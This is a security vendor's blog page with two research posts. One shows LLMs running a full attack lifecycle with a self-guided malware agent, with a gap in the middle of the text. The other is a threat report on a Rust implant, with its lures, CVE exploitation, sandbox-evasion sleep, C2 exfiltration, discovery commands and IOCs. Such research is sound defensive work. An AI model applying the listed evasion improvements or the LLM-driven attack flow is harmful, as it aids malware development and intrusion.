di_blog_post

Deep Instinct prevents more advanced threats than any EPP or EDR in the world.

Deep Instinct Blog: Breaking News and Updates

Explore Deep Instinct DSX

Prevent Zero-Day Attacks

Real-Time Malicious Verdicts

Real-Time Explainability

Lower TCO

Ensure Privacy & Compliance

Deep Instinct DSX

Cloud

Applications

Endpoints

Use Cases

Asset Library

Blog

Videos

Webinars

Resources

About Deep Instinct

Our Customers

Newsroom

Careers

Contact Us

Company

Free Scan

Customer Portal

Integrations and Compliance

Training

Quick Links

Discover how our revolutionary deep learning-powered solution prevents and explains unknown, never-before-seen threats.

explore deep instinct dsx

why dsx

Prevent zero-day attacks

Detect and prevent threats in <20ms, faster than the blink of an eye.

real-time malicious verdicts

Gain actionable, AI-driven intelligence on zero-day threats in seconds.

Real-Time Insights & Explainability

Reduce cybersecurity costs with efficient, high-performance threat prevention.

Enhance data protection while meeting stringent privacy and regulatory requirements.

DSX USE CASES

Scan and secure your S3 buckets and prevent threats to your data with this natively integrated and certified solution.

Amazon S3

Secure files and empower your hybrid-cloud with natively integrated preemptive data security.

Amazon FSx for NetApp

Protect your NetApp ONTAP storage with a purpose-built solution designed to prevent zero-day threats targeting NAS.

NetApp

Stop attackers from breaching your Dell EMC NAS with our purpose-built, natively integrated solution.

Dell EMC

Integrate scanning with your middleware layer to secure your applications with greater stability and customization.

Middleware

Ensure the files moving through your environment remain malware-free, without introducing bottlenecks or slowdowns.

Secure File Transfer

DEPLOYMENT TYPES

Secure your multi-cloud or hybrid infrastructure against zero-day threats.

CLOUD

Safeguard critical data on Network-Attached Storage systems from advanced cyber threats.

Defend SaaS and custom applications from zero-day vulnerabilities and threats.

APPLICATIONS

Protect devices and endpoints with AI-driven threat prevention.

ENDPOINTS

EXPLORE 

Threat Research

Voice Of SecOps

DIANNA Explains

Cyber Tarot

COMPARE

Deep Instinct complements Microsoft Defender with advanced threat prevention to stop threats before they enter your environment.

+ Microsoft Defender

EDR is not enough — enhance existing cybersecurity tools with advanced, real-time threat prevention using deep learning to produce defense in depth.

EXTEND/ENHANCE EDR

Replace outdated, legacy AV solutions with prevention-first, deep-learning-based protection purpose-built for cybersecurity.

REPLACE LEGACY AV

Faster and more accurate – Deep Instinct safeguards your data and protects your NAS storage better than Trellix.

REPLACE TRELLIX

Faster and more effective – Deep Instinct safeguards your data and protects your NAS storage better than Symantec.

REPLACE SYMANTEC

Accuracy and efficacy – AWS-certified DSX for Cloud prevents malware and ransomware targeting your S3 buckets better than ClamAV.

REPLACE CLAMAV

Leadership Team

Board of Directors

Partners

Login

content_block

Perspective & Findings

<h4>How a Guardrail-Free LLM Outsmarted Legacy Cyber Tools</h4>

DIANNA-Webinar-Blog-930x400.png

Recent Blog Posts

Listing preview

Perspective & Findings

image_media_card

Recent Blog Posts

listing_preview

BPFDoor Malware Evolves – Stealthy Sniffing Backdoor Ups Its Game

Who is the only NEW vendor in the 2022 Gartner® Magic Quadrant™ for Endpoint Protection Platforms?

ChatGPT and Malware: Making Your Malicious Wishes Come True

Top-3 Drawbacks of Content Disarm + Reconstruction (CDR) for Malware Prevention

LSASS Memory Dumps are Stealthier than Ever Before

LSASS memory dumps

Trending at Deep Instinct

carousel_cards

Follow along with Security and Threat Research Team Leader Mark Vaitzman as he gives a brief history of LLMs and describes step-by-step how LLMs can empower attack lifecycles, making cyberthreats more dangerous.

Robot_1200x627.png

Large Language Models (LLMs) are rapidly evolving, and their capabilities are attracting the attention of threat actors. This blog explores how malicious actors are utilizing LLMs to enhance their cyber operations and then delves into LLM-based tools and an advanced stealer managed by artificial intelligence (AI).While LLMs hold immense potential for improving cybersecurity through threat detection and analysis, their power can also be wielded for malicious purposes. Recent reports suggest that cybercriminals and nation-state actors are actively exploring LLMs for different tasks such as code generation, phishing emails, scripts, and more. We’ll elaborate on just a few examples in this blog.The last times we saw such significant technological changes influencing everyday life were the four industrial revolutions (1765 – Oil, 1870 – Gas, 1969 – Electronics and Nuclear, and 2000 – Internet and Renewable Energy). Many believe that AI—and LLMs, which are part of AI—is the next industrial revolution, capable of reshaping industries, including crime, as new cyber threats emerge.Cybersecurity is a very dynamic field, but there are still a few basic aspects that haven’t changed – one of which is the attack lifecycle. The cyber attack lifecycle, often referred to as the Cyber Kill Chain, includes the following stages: reconnaissance, weaponization, delivery, exploitation, installation, command and control (C2), and actions on objectives.First, I’ll give a brief history of AI and then, using LLMs, I will provide a full attack lifecycle and demonstrate how threat actors could employ them, the risk they pose, and their potential future uses. LLM-based tools can play a significant role in various stages of the cyber attack lifecycle, including fully managing the final stage of the Payload and C2 – and that’s the most interesting part of this blog. The bottom line is that AI as a whole, and LLMs in particular, are very powerful and will get better with time. In the wrong hands, they will cause significant damage. The only way to fight the abuse of LLMs is with AI and advanced Deep Learning prevention alogorithms.<h5>The Long Way to the Present Day LLM</h5>Let's start with an introduction to AI and LLMs before they became mainstream. I started working with AI when I built my first Prolog app, which is a declarative programming language designed for developing logic-based AI applications.Prolog is based on four main elements: Facts, Rules, Variables, and Queries. The original version is 52 years old and even the most current version is 24 years old. At the time of its creation there was not enough data for the facts, and the queries had to be pre-defined and barely customized during usage. Despite that, it was used for building chatbots like Zamia AI.<figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt4cacfae68c0a2bc8" width="583" alt="Figure 1: Zamia AI" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt4cacfae68c0a2bc8/67855a294ac08c6dd62a053f/fig1-Zamia-AI-main.png" height="789" /><figcaption style="text-align: center;" style="text-align: center;">Figure 1: Zamia AI</figcaption></div></figure><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt8f3c53a01e1f6b06" width="548" alt="fig2-Zamia-AI-Chat.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt8f3c53a01e1f6b06/67855a29b33932b1322143ac/fig2-Zamia-AI-Chat.png" height="298" /><figcaption style="text-align: center;" style="text-align: center;">Figure 2: Zamia AI Chat</figcaption></div></figure>When we think about AI today, we envision complex systems and advanced chatbots like ChatGPT equipped with complicated infrastructure and powerful problem-solving skills. However, AI was not always so advanced. Early examples of AI often took the form of chatbots. They seem simple now, but they were groundbreaking innovations that ushered new concepts and tools into the world.Let’s look at some of them:Eliza (1966) - This first-ever chatbot was developed by MIT professor Joseph Weizenbaum in the 1960s. Eliza was programmed to act as a psychotherapist to users.<figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt39109eebae6dd559" width="674" alt="fig3-Eliza-chatbot.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt39109eebae6dd559/67855a299c8312d204b48ed5/fig3-Eliza-chatbot.png" height="350" /><figcaption style="text-align: center;" style="text-align: center;">Figure 3: Eliza Chatbot 1966</figcaption></div></figure>Parry (1972) - A natural language program that simulated the thinking of a paranoid individual. Parry was constructed by American psychiatrist Kenneth Colby in 1972.ChatterBot (1988) - British programmer&nbsp;<a href="https://en.wikipedia.org/wiki/Rollo_Carpenter">Rollo Carpenter</a> created the Chatterbot in 1988. It evolved into Cleverbot in 1997.&nbsp;Fun fact– ChatterBot was active until 2023. <a href="https://www.cleverbot.com/">Cleverbot</a> is still operating and accessible today.<figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="bltb6ebe6bd89db5d9f" width="368" alt="fig4-CleverBot-Chatbot.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltb6ebe6bd89db5d9f/67855a29a840ac66f7d5161e/fig4-CleverBot-Chatbot.png" height="298" /><figcaption style="text-align: center;" style="text-align: center;">Figure 4: CleverBot Chatbot</figcaption></div></figure>DR SBAITSO (1992) - This chatbot was created by Creative Labs for MS-DOS in 1992. It is one of the earliest chatbots to incorporate a full voice-operated chat program. You may try it out with an <a href="https://classicreload.com/dr-sbaitso.html">MS-DOS emulator</a>.<figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt75aad27671c9d80c" width="778" alt="fig5-DR-Sbaitso-Chatbot.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt75aad27671c9d80c/67855a2926c6b42b6a3efe55/fig5-DR-Sbaitso-Chatbot.png" height="326" /><figcaption style="text-align: center;" style="text-align: center;">Figure 5: DR SBAITSO Chatbot</figcaption></div></figure>&nbsp;A.L.I.C.E. (1995) – A universal language processing chatbot that uses heuristic pattern matching to carry conversations. Richard Wallace pioneered the construction of ALICE in 1995.<figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="bltc341c7a55fbb99f1" width="1378" alt="fig6-ALICE-Chatbot.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltc341c7a55fbb99f1/67855a297854593beb60b083/fig6-ALICE-Chatbot.png" height="460" /><figcaption style="text-align: center;" style="text-align: center;">Figure 6: ALICE Chatbot</figcaption></div></figure>The evolution of AI and its applications is ongoing. Despite the popularity AI now has, researchers have been studying and experimenting with it for decades. Natural Language Processing, Machine Learning, and Deep Learning technologies have all existed for years. And, as shown by the timeline above, assistant-like chatbots were already popular –&nbsp; by combining the idea of an AI assistant with actual AI technology, chatbots with voice recognition burst onto the scene. Later, refining and evolving what we created, we developed the almighty LLMs:<figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt2099abc03b83a316" width="822" alt="fig7-Chatbots-evolution.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt2099abc03b83a316/67855a2a5dc3c373fb1dff58/fig7-Chatbots-evolution.png" height="260" /><figcaption style="text-align: center;" style="text-align: center;">Figure 7: Chatbots and recent LLMs</figcaption></div></figure>Now that you have a better understanding of the timeline of AI, chatbots, and LLMs, let’s get into how the unique capabilities of LLMs can help facilitate a cyber attack.<h5>Not all Chatbots are LLMs</h5>LLM is an evolution of Natural Language Processing (NLP), but there are some key differences, as shown in the following graphic:<figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img width="1052" alt="Screenshot_2025-01-14_at_2.32.10_PM.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt127f601c1983a0c4/6786bbcbbd2b7423333152ef/Screenshot_2025-01-14_at_2.32.10_PM.png" height="551" style="max-width: 1052px;width: 1052px;height: 551px;" max-width="1052" /><figcaption style="text-align: center;" style="text-align: center;">Figure 8: NLP vs LLM</figcaption></div></figure>There are multiple capabilities unique to LLMs that enable the attack flow POC I’m about to describe.<figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blta1391ffcefcf764f" width="849" alt="fig9-LLM-capabilities.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blta1391ffcefcf764f/67855a2a66c78759deba45d0/fig9-LLM-capabilities.png" height="396" /><figcaption style="text-align: center;" style="text-align: center;">Figure 9: LLM Capabilities for the Attack Flow POC</figcaption></div></figure><h2>Building an LLM Attack Lifecycle</h2><h5>Understanding the Attack Lifecycle</h5>In order to begin, we have to understand why the attack lifecycle is the perfect methodology to prove that LLMs can perform a full multistage attack on their own. The term “Attack lifecycle” represents the stages in a cyber attack flow, also known as the Attack Kill Chain. These stages, when executed correctly, can lead to a successful attack. Therefore, there are multiple security products that are expected to stop the attack in each stage and kill the chain, disrupting the attack.<figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt9478e1de7b400c6d" width="1200" alt="fig10-Attack-lifeCycle.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt9478e1de7b400c6d/67855a2a9f3ffe210a1d7029/fig10-Attack-lifeCycle.png" height="413.63" /><figcaption style="text-align: center;" style="text-align: center;">Figure 10: Attack Lifecycle</figcaption></div></figure>The Attack Lifecycle follows these steps:<ul><li>Recon: Gathering information about the target (e.g., network topology, employees, vulnerabilities) to identify weaknesses or valuable entry points.</li><li>Weaponization: Creating a malicious payload (such as a virus, malware, or exploit) and preparing it to be delivered to the target system.</li><li>Delivery: Transmitting the weaponized payload to the target, typically through methods like email attachments, malicious links, or infected websites.</li><li>Exploitation: Triggering the payload to exploit a vulnerability in the target system (e.g., executing a malicious code or exploiting a software flaw).</li><li>Installation: Installing the malware or exploit onto the target system, often establishing persistence so the attacker can maintain access over time.</li><li>Command and Control (C2): Establishing a remote connection between the compromised system and the attacker’s infrastructure to control and issue commands to the infected system.</li><li>Actions on Objective: Carrying out the attacker’s primary goals, such as stealing data, spreading malware, disrupting operations, or further exploiting the network.</li></ul><h5>Initial Reconnaissance</h5>LLMs can automate the process of gathering information from publicly available sources such as social media and technical forums about target systems and individuals.After choosing the victim or the sector, one of the most important stages begins: Initial Reconnaissance. This phase is where information gathering and identification of potential entry points happens.Even though this stage is already fairly simple due to powerful search engines like Google and scanning services like Shodan and Censys, LLMs have made it even easier and faster.For our POC, we’ll start by identifying a possible pool of initial vectors and their victims – a chatbot can help with that.<figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt60e639ae21c4bfc7" width="525" alt="fig11-vulnerabilities-chatGPT.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt60e639ae21c4bfc7/67855a49baaf228ec928af43/fig11-vulnerabilities-chatGPT.png" height="535" /><figcaption style="text-align: center;" style="text-align: center;">Figure 11: ChatGPT Query and Vulnerability Explanation</figcaption></div></figure>Censys, a well-known worldwide internet scanning platform, helps information security practitioners discover, monitor, and analyze devices. When integrated with an LLM chat it makes the search even easier and provides an actual pool of potential victims.<figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt481611daa29e50c3" width="434" alt="fig12-Censys-search-GPT-results.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt481611daa29e50c3/67855a49532fd65fdc5a29ba/fig12-Censys-search-GPT-results.png" height="446" /><figcaption style="text-align: center;" style="text-align: center;">Figure 12: Censys search results</figcaption></div></figure>Additionally, there are tools made specifically for OSINT that can automate the reconnaissance and scanning process. In fact, there are several LLMs built and trained specifically for that purpose, such as PentestGPT (originally known as HackerGPT).

Figure 46: Full flow agent idea demonstration We’re almost done! Next, I wanted to see what my LLM-guided malware can do with unrestricted LLMs. What would happen if I left the agent to run for a bit while I had some coffee?It tried to download and execute several tools but failed to do so since I tested the malware on an empty and new Linux VM. The agent tried to fix the errors by installing the missing common libraries.<figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt5de6dbc9602d702c" width="1161" alt="fig47-llm-guided-attempts-to-fix-missing-libraries.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt5de6dbc9602d702c/67855aa538abf9e29d1f08df/fig47-llm-guided-attempts-to-fix-missing-libraries.png" height="738" /><figcaption style="text-align: center;" style="text-align: center;">Figure 47: LLM-Guided Malware Attempts to Install Additional Libraries to Avoid Failures</figcaption></div></figure><h5>Takeaways and Follow Ups</h5>Today, LLMs are already capable of making attacks faster and much more frequent.<ul><li>We could add the following to the POC to make it even more effective:<ul><li>Rewrite into a more efficient and less common language – Rust / GO</li><li>Build a packer for better and longer evasion</li><li>Try with local Tiny LLMs to work without the need of an external LLM server&nbsp;</li><li>Make the agent perform the request for the malware to be generated and compiled on request during the initial LLM communication using a polymorphic algorithm</li><li>Hunt for LLM-based malware – which can be tricky (keep an eye out for another blog on this topic)</li><li>Research and move the idea into BLM (Behavior Large Models – often developed for future robots) – DO NOT TRY AT HOME</li></ul></li></ul>Underestimated research – Recently, Claude announced that their latest version of <a href="https://www.anthropic.com/news/3-5-models-and-computer-use">Claude 3.5 “Sonnet”</a> will be able to follow user’s commands to move a cursor, click on relevant locations, and input information via a virtual keyboard to emulate the way people interact with their own computer. This capability is exactly what I was missing to make my LLM-guided malware even more efficient. Just after that, OpenAI announced “<a href="https://www.bloomberg.com/news/articles/2024-11-13/openai-nears-launch-of-ai-agents-to-automate-tasks-for-users">Operator</a>” with similar abilities. Finally, information was leaked that Google’s <a href="https://www.theverge.com/2024/10/26/24280431/google-project-jarvis-ai-system-computer-using-agent">Jarvis AI</a> can use a computer to take actions on a person's behalf.<h5>Conclusion</h5>My view of how LLMs will affect cyber attacks has evolved throughout my research; the cyber threats posed by LLMs are not a revolution, but an evolution. There’s nothing new there, LLMs are just making cyber threats better, faster, and more accurate on a larger scale. As demonstrated in this blog, LLMs can be successfully integrated into every phase of the attack lifecycle with the guidance of an experienced driver. These abilities are likely to grow in autonomy as the underlying technology advances.&nbsp;Defending against this evolution requires a corresponding evolution in the prevention methods. In order to break down the attack, defenders are only required to break down two of the stages (on average). It can be done. But defenders need the right tools to do it.We'll update this blog soon with video from the DeepSec Conference where this research was presented.If you are a cybersecurity professional who wants to fight AI with the best AI, then <a href="https://info.deepinstinct.com/request-a-demo">request your free scan</a> to see the power of cybersecurity’s only deep learning framework for yourself.Referenceshttps://github.com/MythicAgents/Medusastopwatch.iohttps://github.com/GreyDGL/PentestGPTCensys.comChatGPT.comGemini.comhttps://github.com/PhonePe/mantishttps://github.com/fin3ss3g0d/evilgophishhttps://github.com/kingridda/voice-cloning-AIhttps://github.com/nomic-ai/gpt4allhttps://github.com/kgretzky/evilginx3huggingface.comOllama.comWhiteRabbitNeo.comhttps://github.com/jasonacox/TinyLLMhttps://github.com/katanaml/sparrow

Beyond Flesh and Code: Building an LLM-Based Attack Lifecycle With a Self-Guided Malware Agent

blog-image-rusty-flag.jpg

Key takeaways:<ul><li>The Deep Instinct Threat Lab has discovered a new operation against Azerbaijanian targets</li><li>The operation has at least two different initial access vectors</li><li>The operation is not associated with a known threat actor; the operation was instead named because of their novel malware written in the Rust programming language</li><li>One of the lures used in the operation is a modified document that was used by the Storm-0978 group. This could be a deliberate “false flag”</li></ul><figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 1: Attack Flow" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltc500e8e577b407b5/65028d348606a8f21cc873d7/fig1-AttackFlowRusty.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 1: Attack Flow</figcaption></figure><h5>LNK Vector:</h5>Deep Instinct Threat Lab observed a malicious LNK file with low detections named “1.KARABAKH.jpg.lnk.”The file has a double extension to lure the victim to click an image that is related to a military incident in <a href="https://en.wikipedia.org/wiki/Nagorno-Karabakh" target="_blank">Nagorno-Karabakh</a>.The LNK downloads and executes an MSI installer hosted by DropBox:<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Fig 2: LNK arguments" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt72f719f046aed339/65028d5ef41335980a8918e4/fig2-LNK-Arguments.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Fig 2: LNK arguments</figcaption></figure><figure style = "margin: auto; text-align: center;width: auto;"><img alt="Fig 3: OSINT information about MSI uploader from Dropbox" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltcdb6b050e52030ad/65028d8d7960981affb2dee1/fig3-osint-about-MSI-uploader-Dropbox.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Fig 3: OSINT information about MSI uploader from Dropbox</figcaption></figure>The MSI file drops an implant written in Rust, an xml file for a scheduled task to execute the implant, and a decoy image file:<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 4: Decoy image file" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt6930cc293aa4cf67/65028dc568d8e111ac604833/fig4-decoy-image.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 4: Decoy image file</figcaption></figure>The image file includes watermarks of the <a href="https://mod.gov.az/en" target="_blank">symbol</a> of the Azerbaijanian MOD.<h5>Office False Flag Vector:</h5>Once we identified the LNK campaign the Deep Instinct Threat Lab attempted to identify additional, related files.Deep Instinct Threat Lab quickly found another MSI file hosted on DropBox that drops a different variant of the same Rust implant; however, the identification of the initial access vector for this campaign was trickier.The DropBox URL was masked with a URL shortener (hxxps://t[.]]ly/8CYQW) and the evidence showed that this URL was invoked via exploitation of Microsoft Equation Editor CVE-2017-11882.Deep Instinct Threat Lab identified a file named “Overview_of_UWCs_UkraineInNATO_campaign.docx” that was invoking the request to this shortened URL; however, this filename and its content are known to be associated with a <a href="https://www.microsoft.com/en-us/security/blog/2023/07/11/storm-0978-attacks-reveal-financial-and-espionage-motives/" target="_blank">Storm-0978</a> campaign utilizing CVE-2023-36884.The identified file even had a comment on VirusTotal that it is related to the Storm-0978 campaign:<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 5: VT comment" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blte13eea8de10129de/65028e2f9e7ba645b2cabbf9/fig5-VT_comments.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 5: VT comment</figcaption></figure>After further investigation it was revealed that this is a different file, not related to the Storm-0978 campaign. The embedded “afchunk.rtf” file has been replaced and CVE-2023-36884 is not used. Instead, CVE-2017-11882 is used to download and install the MSI file.This action looks like a deliberate false flag attempt to pin this attack on Storm-0978.<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Fig 6: OSINT information about MSI uploader for Office vector" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt0ad88745f4ac3c5a/65028e6ba26337c73b96b6af/fig6-osint-information-msi-uploaderd.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Fig 6: OSINT information about MSI uploader for Office vector</figcaption></figure>Even though the initial lure is an Office file, the delivered MSI file also open a decoy file, this time a PDF invoice:<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Fig 7: PDF decoy dropped by Office vector" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltfb1f227360da24a9/6502909f1c72d8a20e8b120c/fig7-PDF-decoy-droppedPDF.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Fig 7: PDF decoy dropped by Office vector</figcaption></figure><h5>MSI Analysis:</h5>While the initial vectors are different, the execution is the same and it is done by invoking msiexec with URL to DropBox.Using a Linux file command or msitools it seems that the MSI files were created by “MSI Wrapper” <a href="https://www.exemsi.com/" target="_blank">https://www.exemsi.com/</a>, which is often used by threat actors to drop malicious files.The MSI installers are dropping and executing the Rust implant along with a decoy file and xml file for scheduled task.<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 8: MSI Metadata" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt9a1c244f60882ab6/650291e21709f57bfebf53c1/fig8-msi-metadata.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 8: MSI Metadata</figcaption></figure><h5>Rust Implant Analysis:</h5>Each attack had its unique file names and metadata. One of the file Rust Implants named “WinDefenderHealth.exe” is written in Rust. It is expected to gather information and send it to the attacker server, which is still active at the time of this research.<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blte9120922332ab068" alt="Figure 9: Metadata of the Rust malware" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blte9120922332ab068/6502913d3a3d4841e1f6efba/fig9-Rust-defender-healthCheckmetadataVT.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 9: Metadata of the Rust malware</figcaption></figure><figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 10: Rust compiler" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt9e4e043348197e65/65029386f4133504258918f5/fig10-Rust-malware-compiler.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 10: Rust compiler</figcaption></figure>Rust is becoming more popular among malware authors. Security products are not yet detecting Rust malware accurately, and the reverse engineering process is more complex. The Rust standard library is not familiar to tools like IDA and Ghidra. It results in tagging large portions of the code as unknown, and it is difficult to differentiate the code of the standard library from the code of the malware. To overcome this, the plugin GhidRust was used, but it didn't detect the functions of the standard library. In addition, BinDiff was used. A simple Rust binary was compiled and compared against the malware, but very little code was shared. Some open projects for Rust were used in the malware such as Tokio (a runtime for writing reliable, asynchronous, and slim applications with the Rust programming language), hyper (a fast and correct HTTP implementation for Rust) and Serde JSON (a framework for serializing and deserializing Rust data structures efficiently and generically). After that part, we moved on to dynamic analysis.Once the file is executed it goes to sleep for 12 minutes. This is a known method to avoid security researchers and sandbox’s easy analysis.<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 11: “Sleep” for 12 minutes" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt70fbe3ef467a938d/650293edeb5afe09bc4a7884/fig11-sleep-12-minutes-to-avoid-easy-reversing.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 11: “Sleep” for 12 minutes</figcaption></figure>Then it starts collecting information about the infected machine:<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 12: “Collect” information" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt43287626dd55bb8c/650321cc796098004ab2e260/fig12-Collect-information.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 12: “Collect” information</figcaption></figure><figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 13: Processes collecting information about the PC" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt3d7dc9d84a471c52/650295df1c72d858748b1217/fig13-ExfilProccesses.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 13: Processes collecting information about the PC</figcaption></figure>The malware then reads the output of the above executions by redirecting their StdOut to a named pipe. It is notable that the values of StdIn, StdOut, and StdErr match the handles of the processes to the named pipes.<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 14: “Read” the collected information" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltbb4b1a45002b971a/650297073a3d489d5af6efd7/fig14-tsdoutNamedPipes.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 14: “Read” the collected information</figcaption></figure>The information is gathered leveraging the following template:<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 15: Sample of the collected info before encryption" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt6497946a4527cebe/6502975576c8e45ee3b5f637/fig15-collected-info.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 15: Sample of the collected info before encryption</figcaption></figure>The above information is then encrypted and sent to the attacker server using an uncommon, hardcoded port 35667:<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 16: Encrypted information being sent to the server" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt474685ab5f698b32/6502977d9bf26140fd6bcd01/fig16-encrypted-information-sent-toC2.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 16: Encrypted information being sent to the server</figcaption></figure>We have built a script to decrypt the information, available in our <a href="https://github.com/deepinstinct/Rusty-Flag-DecryptData" target="_blank">Git</a>, that the malware is sending.All analyzed files above have a low detection rate on VT at the time. There are zero detections on first seen and most of the detections are generic ones.<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 17: Detections of the RUST implant in VT. All detections are generic." src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt831a4c472c34a419/650297c50433c0d28e25462b/fig17-VT_Detections.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 17: Detections of the RUST implant in VT. All detections are generic.</figcaption></figure>While the other Rust implant still has zero detections:<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 18: 2nd Rust implant VT detections" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt3926fc166ca5accf/65029808a8cf8b810b3e0b3f/fig18-sengforVTDet.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 18: 2nd Rust implant VT detections</figcaption></figure><h5>Conclusion:</h5>Deep Instinct Threat Lab could not attribute these attacks to any known threat actor. There is a possibility that these files are part of a red team exercise.Regardless of the above statement, the fact that both Rust implants had zero detections when first uploaded to VirusTotal shows that writing malware in esoteric languages can bypass many security solutions.<h5>MITRE:</h5><table><thead class="bg-grey"><tr><th>Tactic</th><th>Technique</th><th>Description</th><th>Observable</th></tr></thead><tbody><tr><td>Discovery</td><td>T1082 System Information Discovery</td><td>The malware executes systeminfo.exe to gain information about the infected computer</td><td>systeminfo.exe</td></tr><tr><td>Discovery</td><td>T1016 System Network Configuration Discovery</td><td>Gain detailed information about the network interfaces on the system</td><td>ipconfig.exe /all</td></tr><tr><td>Discovery</td><td>T1033 System Owner/User Discovery</td><td>Gain user, group, and privileges information for the users</td><td>Whoami.exe /all</td></tr><tr><td>Discovery</td><td>T1087 Account Discovery</td><td>Gain information about local or domain accounts on a system</td><td>Net.exe user</td></tr><tr><td>Discovery</td><td>T1057 Process Discovery</td><td>Gain a list of currently running processes, including detailed information about each one</td><td>Tasklist.exe /v</td></tr><tr><td>Persistence</td><td>T1053 Scheduled Task/Job</td><td>Create a scheduled task using the xml file</td><td>Schtasks.exe</td></tr><tr><td>Command and Control</td><td>T1132 Data Encoding</td><td>Encrypted communication</td><td>Encrypted information sent to the C2. A tool for decrypting the information is provided in our Git.</td></tr></tbody></table><h5>IOC:</h5>78.135.73[.]140<table><thead 